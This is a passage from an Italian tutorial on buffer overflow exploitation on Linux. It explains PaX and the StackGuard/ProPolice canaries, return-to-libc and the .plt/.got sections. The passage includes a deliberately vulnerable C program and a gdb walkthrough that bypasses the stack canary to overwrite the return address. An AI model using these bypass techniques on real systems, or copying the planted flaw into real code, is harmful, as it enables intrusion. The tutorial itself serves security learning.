Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 69 di 193

003b8000-003bb000 rw-p 00000000 00:00 0

007fe000-00819000 r-xp 00000000 08:01 859856 /lib/ld-2.11.1.so

00819000-0081a000 r--p 0001a000 08:01 859856 /lib/ld-2.11.1.so

0081a000-0081b000 rw-p 0001b000 08:01 859856 /lib/ld-2.11.1.so

00dc9000-00dca000 r-xp 00000000 00:00 0 [vdso]

08048000-08054000 r-xp 00000000 08:01 277999 /bin/cat

08054000-08055000 r--p 0000b000 08:01 277999 /bin/cat

...

matteo@Moon:~$ cat /proc/self/maps

00859000-0085a000 r-xp 00000000 00:00 0 [vdso]

00b9c000-00bb7000 r-xp 00000000 08:01 859856 /lib/ld-2.11.1.so

00bb7000-00bb8000 r--p 0001a000 08:01 859856 /lib/ld-2.11.1.so

...

Linux-Gate viene randomizzato.

Attraverso le librerie è possibile alcune volte aggirare (solo) il problema dello stack non

eseguibile imposto da PaX, il comando seguente ci mostra le dipendenze di un eseguibile senza

conoscere dove si trova all'interno della cartella /bin.

Dipendenze di "ls":

matteo@Moon:~$ ldd $(find /bin -name ls)

linux-gate.so.1 => (0x00ee5000)

librt.so.1 => /lib/tls/i686/cmov/librt.so.1 (0x007e3000)

libselinux.so.1 => /lib/libselinux.so.1 (0x0093d000)

libacl.so.1 => /lib/libacl.so.1 (0x00110000)

libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x00aca000)

libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0 (0x007f7000)

/lib/ld-linux.so.2 (0x0051b000)

libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0x00338000)

libattr.so.1 => /lib/libattr.so.1 (0x00f6e000)

In quanto al fatto della marcatura come non eseguibile dello stack, lo possiamo vedere dalla

colonna permessi del file maps, anche la maggior parte delle altre regioni è divenuta non

eseguibile o comunque non scrivibile/eseguibile insieme.

StackGuard/ProPolice

L'ultimo è una versione successiva del primo, di fatto lavorano con lo stesso principio. Se

prima la cosa era molto semplice ora ci conviene fare uno schemino, anche in vista di mettere in

ordine alcuni concetti.

Il seguente mostra la struttura dello stack classico,

____________________

| |

| NULL | PAGE_OFF, env_end

|____________________|

| |

|Environments strings| env_start, arg_end

|____________________|

| |

| Comm-line arg | arg_start

|____________________|

| |

| Dynamyc-linker's |

|_______table________|

| |

| anvp[] | &envp[0]

Page 70: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 70 di 193

|____________________|

| |

| argv[] | &argv[0]

|____________________|

| |

| argc |

|____________________| V start_stack

| |

| Return address | Stack top (esp register)

|____________________|

| |

| Arguments |

Date le limitazini imposte dai nuovi sistemi di sicurezza dobbiamo allargare la nostra veduta,

oltre alle variabili allocate, anche a tutti gli altri elementi presenti nello stack.

Propolice agisce su questa struttura modificando l'ordinamento degli elementi dello stack in

modo da eliminare il rischio che copie incontrollate vadano a sovrascrivere indirizzi di

ritorno, frame pointer precedenti e variabili locali. Stackguard può far questo grazie ad un

processo di traslazione degli elementi che agisce a livello di pre-processore. Riproponiamo

dunque un nuovo schema per lo stack, questo verte a mostrare come la memoria viene

riorganizzata,

_____________________

| |

| Local variables (C) | Safe location

|_____________________|

| |

| Arrays[] (B) | Possible attack

|_____________________|

| |

| canary |

|_____________________|

| |

| previous frame ptr | -- Protected areas --

|_____________________|

| |

| return address | ""

|_____________________|

| |

| arguments (A) | ""

|_____________________|

| |

| |

Questo modello più generalizzato gode delle seguenti proprietà:

- Le locazioni di memoria fuori dal frame pointer non possono essere danneggiate quando la

funzione ritorna.

- La locazione B, è l'unico posto dove l'attacco può essere effettuato, questo perchè? Se una

copia sovrascrivesse lo stack frame, anche il valore "canary" (da stackguard introdotto)

verrebbe sovrascritto. Prima di ritornare dalla funzione il valore canary viene controllato, se

compromesso il processo viene terminato. Dovrebbe essere chiaro il sistema.

- Un attacco al puntatore di una variabile all'esterno del frame della funzione non avrebbe

successo.

- A maggior ragione un attacco al puntatore di una variabile all'interno del frame della

funzione non avrebbe successo, dato che si trova ora in una posizione sicura.

Stackguard è sicuramente più complesso e interessante come sistema di sicurezza. Tanto per non

Page 71: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 71 di 193

dimenticarci del tutto di redmond diciamo anche che sulle piattaforme windows esistono sistemi

similari, anche se non del tutto, a questi due. L'applicazione di PaX e Stackguard/Propolice

rendono l'exploit molto molto più difficile. A prima vista uno oserebbe dire anche

"impossibile!"

Una cosa è evidente, gli accessi non autorizzati ai danni di società stanno diminuendo perchè

sempre meno persone sono in grado di capire e sviluppare le nuove tecniche per bypassare questi

controlli e pian piano i sistemi si stanno aggiornando.

Prima di analizzare e valutare l'efficienza di questi due componenti ricordo una cosa.

Generalmente questi due sistemi sono presenti entrambi. Pertanto l'analisi delle possibili

vulnerabilità deve essere eseguita con entrambi i sistemi attivi non con un singolo sistema di

protezione alla volta. E' facile tirare delle precoci conclusioni dicendo che quel sistema non è

sicuro. Sbagliato. Occorre valutare l'efficienza dei due sistemi insieme.

Vediamo di fare un pò di esperienza, scriviamo il programma seguente:

--------- test0C.c ------------------------

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

get_esp(void) {__asm__ volatile ("movl %esp, %eax\n");}

int main(int argc, char **argv, char **envp)

{

int a; // Integer variable

long *p; // Pointer

char buffer[16]; // Array

void (*function)(); // Function pointer

a = 2147483647;

memset(buffer,0x41,16);

printf("\nmain is at: 0x%08X\n\n",(u_int)&main);

// Elements localization

printf("Stack structure:\n");

printf("ESP: 0x%08X\n",(u_int)get_esp());

printf("int a is at: 0x%08X\n",(u_int)&a);

printf("long *p is at: 0x%08X\n",(u_int)&p);

printf("char buffer[] is at: 0x%08X\n",(u_int)buffer);

printf("(*function)() is at: 0x%08X\n",(u_int)&function);

printf("int argc is at: 0x%08X\n",(u_int)&argc);

printf("char *argv[] is at: 0x%08X\n",(u_int)&argv[0]);

printf("char *envp[] is at: 0x%08X\n",(u_int)&envp[0]);

}

--------- test0C.c END ---------------------

Compilamo disabilitando, come già sappiamo fare, stackguard:

root@HackLab:~# gcc -fno-stack-protector -ggdb test0C.c

A questo punto avviamo il programma con gdb "brekkando" in modo da non terminare il programma e

prendiamo nota della posizione di ogni elemento che abbiamo dichiarato nel sorgente nello stack,

root@HackLab:~# gdb a.out -q

(gdb) break 28

Page 72: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 72 di 193

Breakpoint 1 at 0x804851e: file PaX.c, line 28.

(gdb) r

Starting program: /root/a.out

main is at: 0x0804842E

Stack structure:

ESP: 0xBFCC84D4

int a is at: 0xBFCC850C

long *p is at: 0xBFCC8508

char buffer[] is at: 0xBFCC84F8

(*function)() is at: 0xBFCC84F4

int argc is at: 0xBFCC8530

char *argv[] is at: 0xBFCC85B4

char *envp[] is at: 0xBFCC85BC

Breakpoint 1, main (argc=1, argv=0xbfcc85b4, envp=0xbfcc85bc) at PaX.c:28

28 }

In questo modo possiamo cercare i nostri elementi nello stack, quello che possiamo già dire è

che gli elementi sono stati allocati nello stack nell'ordine che abbiamo usato noi nel sorgente,

come ci aspettavamo.

Ecco quindi come sono ordinati:

ESP -- low addresses --

...

function pointer: 0xBFCC84F4

buffer[16]: 0xBFCC84F8

pointer: 0xBFCC8508

integer variable: 0xBFCC850C

argc: 0xBFCC8530

argv[]: 0xBFCC85B4

envp[]: 0xBFCC85BC

...

EBP -- high addresses --

Lo stack:

(gdb) x/100x $esp

0xbfcc84e0: 0x080486ca 0xbfcc85bc 0x00000010 0xb7f95e0e

0xbfcc84f0: 0xb8044979 0x08049ff4 0x41414141 0x41414141 // Gli '0x41', é il

buffer,

0xbfcc8500: 0x41414141 0x41414141 0xbfcc8528 0x7FFFFFFF // di seguito il

puntatore e la variabile 'a'

0xbfcc8510: 0xbfcc8530 0xb8080ff4 0xbfcc8588 0xb7f3d685

0xbfcc8520: 0x08048540 0x08048370 0xbfcc8588 0xb7f3d685

0xbfcc8530: 0x00000001 0xbfcc85b4 0xbfcc85bc 0xb809bbb8 // argc che è 1,

argv[] e envp[]

0xbfcc8540: 0x00000001 0x00000001 0x00000000 0x08048264

0xbfcc8550: 0xb8080ff4 0x08048540 0x08048370 0xbfcc8588

0xbfcc8560: 0x38ea61b3 0x464c95a3 0x00000000 0x00000000

...

Questa è la situazione a cui siamo abituati.

Ora compiliamo il programma utilizzado stackguard (il default) e facciamo la stessa analisi.

root@HackLab:~# gcc -ggdb PaX.c

Page 73: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 73 di 193

root@HackLab:~# gdb a.out -q

(gdb) break 28

Breakpoint 1 at 0x8048595: file PaX.c, line 28.

(gdb) r

Starting program: /root/a.out

main is at: 0x0804848E

Stack structure:

ESP: 0xBFAC2AB4

int a is at: 0xBFAC2AE8

long *p is at: 0xBFAC2AE4

char buffer[] is at: 0xBFAC2AEC

(*function)() is at: 0xBFAC2AE0

int argc is at: 0xBFAC2B20

char *argv[] is at: 0xBFAC2BA4

char *envp[] is at: 0xBFAC2BAC

Breakpoint 1, main (argc=1, argv=0xbfac2ba4, envp=0xbfac2bac) at PaX.c:28

28 }

(gdb) x/50x $esp

0xbfac2ac0: 0x0804874a 0xbfac2bac 0x00000010 0x00000000

0xbfac2ad0: 0x00000000 0x00000000 0xbfac2bac 0xbfac2ba4

0xbfac2ae0: 0xb804b979 0x08049ff4 0x00007fff 0x41414141

0xbfac2af0: 0x41414141 0x41414141 0x41414141 0xa7071000

0xbfac2b00: 0xbfac2b20 0xb8087ff4 0xbfac2b78 0xb7f44685

0xbfac2b10: 0x080485c0 0x080483d0 0xbfac2b78 0xb7f44685

0xbfac2b20: 0x00000001 0xbfac2ba4 0xbfac2bac 0xb80a2bb8

0xbfac2b30: 0x00000001 0x00000001 0x00000000 0x08048289

0xbfac2b40: 0xb8087ff4 0x080485c0 0x080483d0 0xbfac2b78

0xbfac2b50: 0x56764031 0xe6ac9421 0x00000000 0x00000000

0xbfac2b60: 0x00000000 0xb80b6090 0xb7f445ad 0xb80beff4

0xbfac2b70: 0x00000001 0x080483d0 0x00000000 0x080483f1

0xbfac2b80: 0x0804848e 0x00000001

L'ordinamento che troviamo è questo:

ESP -- low addresses --

...

function pointer: 0xBFAC2AE0

pointer: 0xBFAC2AE4

integer variable: 0xBFAC2AE8

buffer[16]: 0xBFAC2AEC

argc: 0xBFAC2B20

argv[]: 0xBFAC2BA4

envp[]: 0xBFAC2BAC

...

EBP -- high addresses --

La cosa più evidente è la posizione del buffer nello stack, questo è stato traslato verso EBP

per diminuire il numero delle variabili attaccabili. Ma dove è la variabile canary? Possiamo

predire la sua posizione cercando di capirlo guardando lo stack, ma questo non è di fondamentale

importanza sappiamo che viene sempre inserita dopo il frame pointer.

Già che siamo in gdb disassembliamo main e andiamo a vedere la routine inserita da stackguard

che ha il compito di controllare che il ritorno della funzione venga eseguito correttamente.

Prologo ed epilogo di tutte le funzioni avranno queste istruzioni in più. (le prestazioni del

Page 74: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 74 di 193

sistema peggiorano leggermente)

Ci interessa la parte finale di main:

...

0x08048582 <main+244>: mov -0x30(%ebp),%eax

0x08048585 <main+247>: mov %eax,0x4(%esp)

0x08048589 <main+251>: movl $0x804874a,(%esp)

0x08048590 <main+258>: call 0x8048398 <printf@plt>

0x08048595 <main+263>: mov -0xc(%ebp),%edx

0x08048598 <main+266>: xor %gs:0x14,%edx

0x0804859f <main+273>: je 0x80485a6 <main+280>

0x080485a1 <main+275>: call 0x80483a8 <__stack_chk_fail@plt> <<---- routine di controllo

0x080485a6 <main+280>: add $0x40,%esp

0x080485a9 <main+283>: pop %ecx

0x080485aa <main+284>: pop %ebx

0x080485ab <main+285>: pop %ebp

0x080485ac <main+286>: lea -0x4(%ecx),%esp

0x080485af <main+289>: ret

End of assembler dump.

Un approfondimento:

(gdb) x/10i 0x80483a8

0x80483a8 <__stack_chk_fail@plt>: jmp *0x804a010

0x80483ae <__stack_chk_fail@plt+6>: push $0x20

0x80483b3 <__stack_chk_fail@plt+11>: jmp 0x8048358 <_init+48>

...

(gdb)

Le seguenti sono le istruzioni chiave:

0x08048598 <main+266>: xor %gs:0x14,%edx

0x0804859f <main+273>: je 0x80485a6 <main+280>

0x080485a1 <main+275>: call 0x80483a8 <__stack_chk_fail@plt>

0x080485a6 <main+280>: ....

La variabile canary è puntata da '%gs:0x14', attraverso un xor viene controllato il suo valore,

se non è cambiato l'istruzione successiva fa proseguire il programma saltando a main+280,

altrimenti la funzione __stack_chk_fail viene chiamata, questa termina il programma scrivendo

anche un riga di log, che avverte di un possibile attacco.

Questa funzione è definita in panic.c,

...

#ifdef CONFIG_CC_STACKPROTECTOR

/*

* Called when gcc's -fstack-protector feature is used, and

* gcc detects corruption of the on-stack canary value

*/

void __stack_chk_fail(void)

{

panic("stack-protector: Kernel stack is corrupted in: %p\n",

__builtin_return_address(0));

}

EXPORT_SYMBOL(__stack_chk_fail);

#endif

...

Page 75: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 75 di 193

Le caratteristiche di questi due sistemi non si limitano a ciò che ho descritto, ve ne sono di

altre, che vedremo a tempo debito, ci siamo comunque accorti della triste realtà dei nostri

giorni. I sistemi PaX e stackguard sono ora molto diffusi, presenti in tutte le distribuzioni

Linux e precauzioni analoghe sono presenti da windows NT 6.0 in poi. Abbiamo bisogno di un

sistema alternativo a ciò che abbiamo visto fino ad ora.

Nel corso degli anni, vari sono stati i modi per bypassare alcuni dei sistemi di sicurezza, PaX

a sua volta ha rilasciato varie patch sempre più restrittive, senza far mancare gli effetti

collaterali.

Per risolvere il problema dello stack non eseguibile, la sequenza dell'attacco è stata cambiata

totalmente, si è pensato di utilizzare al posto dell'indirizzo prossimo a quello del buffer,

l'indirizzo di una funzione contenuta nella libreria libc, linkata assieme all'eseguibile.

Infatti tali librerie un tempo venivano caricate con indirizzi statici. (Si prenda come

riferimento il file maps visto prima)

In questo caso è quindi possibile eseguire un attacco denominato "Return-to-libc". Nulla di

complicato, immaginiamo il seguente scenario...

----------------------------------

buffer | return_address | ecc....

----------------------------------

In questo caso sovrascrivendo lo stack che cosa dobbiamo iniettare nella memoria del processo?

----------------------------------

buffer | return_address | ecc....

----------------------------------

overrun --------------------------------------------->

------------------------------------------------------------

buffer fill-up | inLib_function | dummy | arg_1 | arg_2 | arg_3 ....

------------------------------------------------------------

Dovrebbe esservi chiaro, buffer fill-up è una serie di valori random di cui non ci interessa

nulla...(basta che non contengano byte nulli) servono a riempire il buffer fino ad arrivare al

return_address. Questo viene sovrascritto con un indirizzo relativo ad una funzione, ad esempio

system() della libc. dummy è l'indirizzo di ritorno di system. arg_1, 2 e 3 sono tutti gli

eventuali argomenti di cui abbiamo bisogno, nel nostro caso ce ne basterà uno.

Trovare l'indirizzo di system è molto semplice (se siamo in assenza di ASLR), ad esempio:

root@HackLab:~# gdb -q a.out

(gdb) break main

Breakpoint 1 at 0x80488f6: file main.c, line 33.

(gdb) r

Starting program: /root/RBOF/a.out

[Thread debugging using libthread_db enabled]

[New Thread 0xb7f286b0 (LWP 6288)]

[Switching to Thread 0xb7f286b0 (LWP 6288)]

Breakpoint 1, main (argc=1, argv=0xbf8d1824) at main.c:33

33 {

(gdb) p system

$1 = {<text variable, no debug info>} 0xb80954f0 <system>

Questo attacco ha di per sè comunque alcune limitazioni, intanto sarà possibile chiamare una

sola funzione, mentre per riuscire a far qualcosa è necessario, nella maggior parte dei casi,

poterne effettuare alcune.

La limitazione può essere eliminata, a seconda dei casi, eseguendo un attacco chiamato "esp

Page 76: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 76 di 193

lifting". Ma l'eseguibile deve essere compilato con il flag -fomit-frame-pointer. In alternativa

esiste un'altra variante chiamata molto simpaticamente "frame faking".

Le cito giusto per completezza e per consentirvi di approfondire eventualmente. Tutte e tre le

tecniche sono comunque simili e si basano sull'utilizzo di una funzione di libreria statica.

Altro problema che non abbiamo tirato in ballo è la variabile "canary", sistemata prima del

frame pointer. Questa solo in alcuni casi può essere lasciata intatta dopo uno stack overrun.

Per risolvere invece il problema della randomizzazione dei VA, questo per quanto riguarda un

attacco classico, è eseguire più tentativi, ovvero un approccio "brute-force". Questo è

conveniente se il programma non crasha. Perchè se il processo esegue una nuova execve() un nuovo

contesto di VA viene generato invalidando i nostri tentativi. Se invece il programma si limita a

rieffettuare una fork() abbiamo più possibilità.

Il problema di questi ultimi è che il kernel è in grado di accorgersi dell'attacco brute-force

terminando il processo.

Concludendo, vediamo alcuni comandi molto utili per l'operazione di analisi.

Il comando seguente visualizza lo stato di tutti i flag relativi alla protezione PaX su un

eseguibile o libreria con formato elf,

root@HackLab:/bin# chpax -v ls

----[ chpax 0.7 : Current flags for ls (PeMRxS) ]----

* Paging based PAGE_EXEC : enabled (overridden)

* Trampolines : not emulated

* mprotect() : restricted

* mmap() base : randomized

* ET_EXEC base : not randomized

* Segmentation based PAGE_EXEC : enabled

Il seguente è molto utile per analizzare i file elf, ovvero visualizza molte informazioni su

header e sezioni di questo, nell'esempio che segue visualizzo tutti i simboli presenti,

root@HackLab:/bin# readelf -s ls

Symbol table '.dynsym' contains 105 entries:

Num: Value Size Type Bind Vis Ndx Name

0: 00000000 0 NOTYPE LOCAL DEFAULT UND

1: 00000000 583 FUNC GLOBAL DEFAULT UND abort@GLIBC_2.0 (2)

2: 00000000 29 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.0 (2)

3: 00000000 82 FUNC GLOBAL DEFAULT UND sigemptyset@GLIBC_2.0 (2)

4: 00000000 433 FUNC GLOBAL DEFAULT UND localeconv@GLIBC_2.2 (3)

5: 00000000 10 FUNC GLOBAL DEFAULT UND dirfd@GLIBC_2.0 (2)

6: 00000000 87 FUNC GLOBAL DEFAULT UND __cxa_atexit@GLIBC_2.1.3 (4)

7: 00000000 61 FUNC GLOBAL DEFAULT UND strcoll@GLIBC_2.0 (2)

8: 00000000 148 FUNC GLOBAL DEFAULT UND fputs_unlocked@GLIBC_2.1 (5)

....

Infine objdump, che già abbiamo utilizzato in precedenza, può essere utile anche esso per la

visualizzazione di informazioni dell'header,

root@HackLab:/bin# objdump -x ls

ls: file format elf32-i386

ls

Page 77: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 77 di 193

architecture: i386, flags 0x00000112:

EXEC_P, HAS_SYMS, D_PAGED

start address 0x08049b20

Program Header:

PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2

filesz 0x00000120 memsz 0x00000120 flags r-x

INTERP off 0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0

filesz 0x00000013 memsz 0x00000013 flags r--

LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12

filesz 0x00016eb4 memsz 0x00016eb4 flags r-x

LOAD off 0x00016ef0 vaddr 0x0805fef0 paddr 0x0805fef0 align 2**12

filesz 0x000003a0 memsz 0x0000081c flags rw-

DYNAMIC off 0x00016f04 vaddr 0x0805ff04 paddr 0x0805ff04 align 2**2

filesz 0x000000e8 memsz 0x000000e8 flags rw-

NOTE off 0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2

....

0x0f] (Arch: LINUX) - Altri punti di vista

Up

Ci sono molte situazioni dove l'exploit è comunque possibile. La ricerca della situzione che

permette lo sfruttamento del bug è naturalmente più ardua e richiede ben più fortuna di prima.

Quando utilizziamo la tecnica più comune, la sovrascrittura viene intercettata, il programma

terminato e viene scritta una riga di log che riporta il probabile attacco a base di stack

overflow.

Si tenga presente il seguente programma:

--------- test0D.c ------------------------

#include <stdio.h>

#include <string.h>

/* Test vulnerable program - second argument is shellcode payload, it overwrite ret */

int main(int argc,char**argv)

{

if(argc != 3) { fprintf(stderr,"Arguments?\n"); exit(1); }

char buffer_one[32];

char buffer_two[16];

int EBP;

// Passing 20 for offset

int offset = atoi(argv[1]);

// Protected copy

strncpy(buffer_one,argv[2],32);

__asm__ volatile (

"movl -0x8(%%ebp), %0;"

:"=r"(EBP));

printf("Canary after copy: 0x%08X\n",EBP);

// Unprotected copy

Page 78: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 78 di 193

strcpy(buffer_two+offset,buffer_one);

__asm__ volatile (

"movl -0x8(%%ebp), %0;"

:"=r"(EBP));

printf("Canary: 0x%08X\n",EBP);

}

--------- test0D.c ------------------------

E' abbastanza comune durante le operazioni di formattazione di stringhe, vedere costrutti di

questo tipo. Ovvero la copia di stringhe in altri array con l'utilizzo di offset di copia.

Spesso questi offset possono essere affetti da errori come per esempio quelli legati al segno.

In questo caso l'offset è controllabile direttamente con un argomento.

L'offset da utilizzare sarà tutta la lunghezza del buffer più altri 4 bytes per superare la

variabile canary. In questo modo la copia comincerà solo dopo la variabile di controllo inserita

da stackguard ma sovrascriverà comunque l'indirizzo di ritorno.

Ho inserito due inline assembly per visualizzare il valore della variabile canary prima e dopo

la copia. Questa non deve essere alterata.

Proviamo...

root@HackLab:~# gcc -g test0D.c

bypasscanary.c: In function 'main':

bypasscanary.c:7: warning: incompatible implicit declaration of built-in function 'exit'

root@HackLab:~# chpax -v a.out

----[ chpax 0.7 : Current flags for a.out (PeMRxS) ]----

* Paging based PAGE_EXEC : enabled (overridden)

* Trampolines : not emulated

* mprotect() : restricted

* mmap() base : randomized

* ET_EXEC base : not randomized

* Segmentation based PAGE_EXEC : enabled

L'utility chpax ci aiuta a capire quali protezioni sono attive, compilando con il default di gcc

4.3.2 avremo randomizzazione di mmap() e libc.

Inoltre stackguard inserisce la variabile canary per il rilevamento dell'attacco.

root@HackLab:~# gdb a.out -q

Inseriamo un breakpoint su main,

(gdb) break main

Breakpoint 1 at 0x804855b: file bypasscanary.c, line 6.

Per ora ci limiteremo ad inviare un payload inutile, una sequenza di caratteri A. L'offset

abbiamo già precisato deve essere di 20 bytes.

(gdb) r 20 $(python -c "print 'A'*20")

Starting program: /root/a.out 20 $(python -c "print 'A'*20")

Breakpoint 1, main (argc=3, argv=0xbfecde34) at bypasscanary.c:6

6 {

Page 79: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 79 di 193

Proseguiamo fino all'istruzione precedente a quella che copia la stringa nell'altra.

(gdb) n

7 if(argc != 3) { fprintf(stderr,"Arguments?\n"); exit(1); }

(gdb) n

13 int offset = atoi(argv[1]);

(gdb) n

16 strncpy(buffer_one,argv[2],32);

(gdb) n

18 __asm__ volatile (

(gdb) n

22 printf("Canary after strcpy: 0x%08X\n",EBP);

(gdb) n

Canary after strcpy: 0x26C0F000

25 strcpy(buffer_two+offset,buffer_one);

Il valore di canary è 0x26C0F000, questo è una valore casuale, generato in modo dipendente dalla

piattaforma. Di seguito possiamo vedere questo valore nello stack e, più precisamente, vediamo

che si trova 20 bytes dopo la fine del primo buffer. Quest'ultimo inizia a 0xbfecdd60 e finisce

a 0xbfecdd7f. La copia pertanto inizierà da 0xbfecdd94 e proseguirà per 20 bytes sovrascrivendo

l'indirizzo di ritorno.

(gdb) x/30 $esp

0xbfecdd30: 0x0804870c 0x26c0f000 0x00000020 0x00000000

0xbfecdd40: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfecdd50: 0xbfecde34 0x00000000 0x00000014 0x26c0f000

0xbfecdd60: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfecdd70: 0x41414141 0x00000000 0x00000000 0x00000000

0xbfecdd80: 0xb80c2ff4 0x08049ff4 0xbfecdda8 0x08048669

0xbfecdd90: 0x26c0f000 0xbfecddb0 0xbfecde08 0xb7f7f685

0xbfecdda0: 0x08048650 0x08048490

(gdb) n

27 __asm__ volatile (

(gdb) n

31 printf("Canary: 0x%08X\n",EBP);

(gdb) n

Canary: 0x26C0F000

32 }

Dopo la copia canary è rimasta intatta, abbiamo così bypassato il sistema di sicurezza inserito

da stackguard.

Di seguito vediamo come in effetti l'indirizzo di ritorno salvato nello stack ora vale

0x41414141. Proseguendo con il programma otterremo un SIGSEGV dato che tentiamo di accedere a

quella locazione.

(gdb) x/30 $esp

0xbfecdd30: 0x08048729 0x26c0f000 0x00000020 0x00000000

0xbfecdd40: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfecdd50: 0xbfecde34 0x00000000 0x00000014 0x26c0f000

0xbfecdd60: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfecdd70: 0x41414141 0x00000000 0x00000000 0x00000000

0xbfecdd80: 0xb80c2ff4 0x08049ff4 0xbfecdda8 0x08048669

0xbfecdd90: 0x26c0f000 0x41414141 0x41414141 0x41414141

0xbfecdda0: 0x41414141 0x41414141

(gdb) continue

Continuing.

Page 80: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 80 di 193

Program received signal SIGSEGV, Segmentation fault.

0x08048630 in main (argc=Cannot access memory at address 0x41414141

) at bypasscanary.c:32

32 }

In condizioni di stack eseguibile, questo programma può essere sfruttato per eseguire codice

arbitrario sul sistema vittima con permessi dell'applicazione. Ad esempio è possibile effettuare

l'attacco visto prima denominato "ret-to-libc".

Ma abbiamo già detto che anche gli indirizzi delle librerie sono rilocati in modo casuale da

mmap() nelle ultime versioni del kernel. Fatto stà che questo attacco è possibile su sistemi non

recentissimi.

0x10] (Arch: LINUX) - Sezioni .plt e .got

Up

Prima di proseguire dedico questo breve capitolo alle sezioni .plt e .got.

La libc è un libreria utilizzata da moltissimi kernel. Questa fornisce un interfacciamento per

applicazioni e servizi. In questo modo essi possono dialogare con l'hardware. Questa libreria è

dunque una raccolta di funzioni che non fanno altro che richiamare altre syscall del kernel

fornendo una interfaccia universale alle applicazioni.

Nel capitolo precedente abbiamo parlato dell'attacco "ret-to-libc". Bloccato dalle nuove

restrizioni sulla memoria.

Ora partiamo da quello che già sappiamo, quando un processo ha necessità di chiamare una

funzione di libreria utilizza tramite una sezione denominata ".plt", ovvero "procedure linkage

table".

Un programma di test:

#include <stdio.h>

void main(void) {

printf("Hello world!\n");

}

root@HackLab:~/RET-TO-LIBC# gcc simple.c

simple.c: In function 'main':

simple.c:3: warning: return type of 'main' is not 'int'

root@HackLab:~/RET-TO-LIBC# gdb a.out -q

(gdb) disass main

Dump of assembler code for function main:

0x080483c4 <main+0>: lea 0x4(%esp),%ecx

0x080483c8 <main+4>: and $0xfffffff0,%esp

0x080483cb <main+7>: pushl -0x4(%ecx)

0x080483ce <main+10>: push %ebp

0x080483cf <main+11>: mov %esp,%ebp

0x080483d1 <main+13>: push %ecx

0x080483d2 <main+14>: sub $0x4,%esp

0x080483d5 <main+17>: movl $0x80484b0,(%esp)

0x080483dc <main+24>: call 0x80482f4 <puts@plt>

0x080483e1 <main+29>: add $0x4,%esp

0x080483e4 <main+32>: pop %ecx

0x080483e5 <main+33>: pop %ebp

Page 81: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 81 di 193

0x080483e6 <main+34>: lea -0x4(%ecx),%esp

0x080483e9 <main+37>: ret

End of assembler dump.

In questo caso gcc ottimizza printf() con puts(), ma non cambia il nostro discorso...

l'istruzione: "0x080483dc <main+24>: call 0x80482f4 <puts@plt>" esegue una chiamata ad un

indirizzo che NON è l'indirizzo di puts() nelle libc.

Dato che un programma può utilizzare ripetutamente funzioni contenute all'interno di librerie, è

utile disporre di una tabella di riferimento.

Una sezione speciale nei binari funge allo scopo, la ".plt".

Eccola:

root@HackLab:~/RET-TO-LIBC# objdump -d -j .plt ./a.out

./a.out: file format elf32-i386

Disassembly of section .plt:

080482c4 <__gmon_start__@plt-0x10>:

80482c4: ff 35 f8 9f 04 08 pushl 0x8049ff8

80482ca: ff 25 fc 9f 04 08 jmp *0x8049ffc

80482d0: 00 00 add %al,(%eax)

...

080482d4 <__gmon_start__@plt>:

80482d4: ff 25 00 a0 04 08 jmp *0x804a000

80482da: 68 00 00 00 00 push $0x0

80482df: e9 e0 ff ff ff jmp 80482c4 <_init+0x30>

080482e4 <__libc_start_main@plt>:

80482e4: ff 25 04 a0 04 08 jmp *0x804a004

80482ea: 68 08 00 00 00 push $0x8

80482ef: e9 d0 ff ff ff jmp 80482c4 <_init+0x30>

080482f4 <puts@plt>:

80482f4: ff 25 08 a0 04 08 jmp *0x804a008

80482fa: 68 10 00 00 00 push $0x10

80482ff: e9 c0 ff ff ff jmp 80482c4 <_init+0x30>

Da questa sezione vediamo che l'istruzione jmp legata alla puts è quella che si trova

all'indirizzo 0x80482f4: "jmp *0x804a008"

Un esame più attento ci fa notare che *0x804a008 è un puntatore ad un indirizzo. Questo

significa che l'indirizzo reale della funzione puts si trova memorizzato a 0x804a008. Questi

indirizzi si trovano in un'altra sezione, la ".got" (global offset table) su cui invece è

possibile scrivere. Tali indirizzi possono essere ottenuti direttamente sempre con objdump con

l'opzione "-R" (dynamic-reloc),

root@HackLab:~/RET-TO-LIBC# objdump -R ./a.out

./a.out: file format elf32-i386

DYNAMIC RELOCATION RECORDS

OFFSET TYPE VALUE

08049ff0 R_386_GLOB_DAT __gmon_start__

0804a000 R_386_JUMP_SLOT __gmon_start__

Page 82: System exploitation using buffer overflow

